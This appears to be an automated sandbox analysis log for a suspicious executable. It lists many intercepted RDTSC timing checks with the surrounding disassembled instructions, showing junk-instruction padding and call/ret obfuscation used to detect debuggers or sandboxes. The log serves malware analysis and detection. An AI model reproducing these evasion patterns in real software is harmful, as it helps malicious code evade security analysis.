Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D52C2F second address: D52C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D52C3F second address: D52C5E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28E4D0ABBCh 0x00000008 js 00007F28E4D0ABB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F28E4D0ABBFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D559BF second address: D559C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D559C5 second address: D55A0A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F28E4D0ABB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D374Eh], ecx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F28E4D0ABB8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F28E4D0ABBAh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D569FB second address: D56A19 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F28E4BE583Fh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D579B2 second address: D579B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D579B6 second address: D579BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D58A88 second address: D58A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D57C64 second address: D57C68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D58C26 second address: D58C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D58C35 second address: D58C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F28E4BE5836h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5AB57 second address: D5AB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5AB5B second address: D5AB74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5842h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5BCC4 second address: D5BCDD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F28E4D0ABBCh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5BCDD second address: D5BD47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F28E4BE5838h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov di, 6114h 0x00000029 push 00000000h 0x0000002b jmp 00007F28E4BE5843h 0x00000030 push 00000000h 0x00000032 mov ebx, dword ptr [ebp+12477332h] 0x00000038 xchg eax, esi 0x00000039 jmp 00007F28E4BE5840h 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5BF8B second address: D5BFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5CFAE second address: D5CFCB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F28E4BE5842h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5FBA9 second address: D5FBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5FBB0 second address: D5FBB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D60D23 second address: D60D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jg 00007F28E4D0ABB6h 0x0000000e jnl 00007F28E4D0ABB6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D60D38 second address: D60D3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D60D3D second address: D60DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F28E4D0ABB8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F28E4D0ABB8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 xchg eax, esi 0x00000041 jp 00007F28E4D0ABC4h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push ecx 0x0000004c pop ecx 0x0000004d jl 00007F28E4D0ABB6h 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D61DBF second address: D61DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D61DC6 second address: D61DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D5FE6C second address: D5FE72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D62D00 second address: D62D25 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28E4D0ABC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F28E4D0ABC4h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D60F31 second address: D60F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D60F35 second address: D60F5F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jnp 00007F28E4D0ABD4h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F28E4D0ABC6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D61FF5 second address: D6200D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D62E96 second address: D62EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABBAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D62EA4 second address: D62EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D62EA8 second address: D62EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007F28E4D0ABC8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D62EBB second address: D62EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D62EBF second address: D62EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D64C51 second address: D64C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D63F61 second address: D63F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D63F65 second address: D63F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D6CE29 second address: D6CE2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D6CE2D second address: D6CE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D6CE38 second address: D6CE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D6CE3F second address: D6CE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F28E4BE5836h 0x00000009 jmp 00007F28E4BE5841h 0x0000000e pop eax 0x0000000f jmp 00007F28E4BE5842h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D6CE75 second address: D6CE94 instructions: 0x00000000 rdtsc 0x00000002 je 00007F28E4D0ABB6h 0x00000008 jmp 00007F28E4D0ABC2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D74D7E second address: D74D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D74D82 second address: D74DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F28E4D0ABBFh 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F28E4D0ABC3h 0x00000017 jmp 00007F28E4D0ABBDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D74DB0 second address: D74DE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F28E4BE5847h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F28E4BE583Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D78DC1 second address: D78DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jns 00007F28E4D0ABB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D78DCF second address: D78DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F28E4BE583Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F28E4BE5836h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D78DEA second address: D78DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D78DEE second address: D78E0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F28E4BE5844h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D78E0D second address: D78E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABBBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F28E4D0ABB6h 0x0000000f jp 00007F28E4D0ABB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D798FA second address: D79919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F28E4BE5849h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D79BC5 second address: D79BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D79BCB second address: D79BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D7CCDB second address: D7CD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC5h 0x00000009 push edx 0x0000000a jmp 00007F28E4D0ABBEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D7CD05 second address: D7CD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8135D second address: D8136C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28E4D0ABB6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8136C second address: D8138A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F28E4BE5836h 0x0000000a jmp 00007F28E4BE5843h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8138A second address: D81396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F28E4D0ABB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D81396 second address: D8139C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8139C second address: D813CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F28E4D0ABC8h 0x0000000e push edi 0x0000000f jmp 00007F28E4D0ABBCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8153F second address: D81543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D816A2 second address: D816AC instructions: 0x00000000 rdtsc 0x00000002 js 00007F28E4D0ABB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D819B3 second address: D81A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F28E4BE5836h 0x00000009 jmp 00007F28E4BE5845h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F28E4BE5846h 0x00000015 popad 0x00000016 jmp 00007F28E4BE583Eh 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 jnc 00007F28E4BE5836h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D81A05 second address: D81A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D81F77 second address: D81F89 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28E4BE583Ch 0x00000008 jg 00007F28E4BE5836h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D2F605 second address: D2F60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8242F second address: D8243C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F28E4BE5836h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8243C second address: D8244C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABBAh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D8244C second address: D82450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D82450 second address: D8245B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D537A5 second address: D537B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53AD7 second address: B97BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F28E4D0ABB8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 or cx, 6F27h 0x00000026 push dword ptr [ebp+122D0199h] 0x0000002c call dword ptr [ebp+122D3127h] 0x00000032 pushad 0x00000033 sub dword ptr [ebp+122D32ABh], edx 0x00000039 pushad 0x0000003a mov ebx, dword ptr [ebp+122D2C20h] 0x00000040 mov bl, 1Ch 0x00000042 popad 0x00000043 xor eax, eax 0x00000045 mov dword ptr [ebp+122D33E3h], edx 0x0000004b mov edx, dword ptr [esp+28h] 0x0000004f jmp 00007F28E4D0ABC1h 0x00000054 jp 00007F28E4D0ABBCh 0x0000005a mov dword ptr [ebp+122D29FCh], eax 0x00000060 cld 0x00000061 mov esi, 0000003Ch 0x00000066 jp 00007F28E4D0ABB7h 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 pushad 0x00000071 xor dword ptr [ebp+122D32ABh], esi 0x00000077 popad 0x00000078 lodsw 0x0000007a cmc 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f mov dword ptr [ebp+122D33E3h], esi 0x00000085 jno 00007F28E4D0ABC2h 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f je 00007F28E4D0ABCBh 0x00000095 jmp 00007F28E4D0ABC5h 0x0000009a push eax 0x0000009b push eax 0x0000009c push edx 0x0000009d jmp 00007F28E4D0ABC8h 0x000000a2 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B51 second address: D53B56 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B56 second address: D53B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B65 second address: D53B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B6A second address: D53B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B70 second address: D53B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B74 second address: D53B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B78 second address: D53B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F28E4BE5847h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53B9D second address: D53BCC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F28E4D0ABB6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jng 00007F28E4D0ABC7h 0x00000014 jmp 00007F28E4D0ABC1h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53BCC second address: D53BD6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D53D09 second address: D53D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
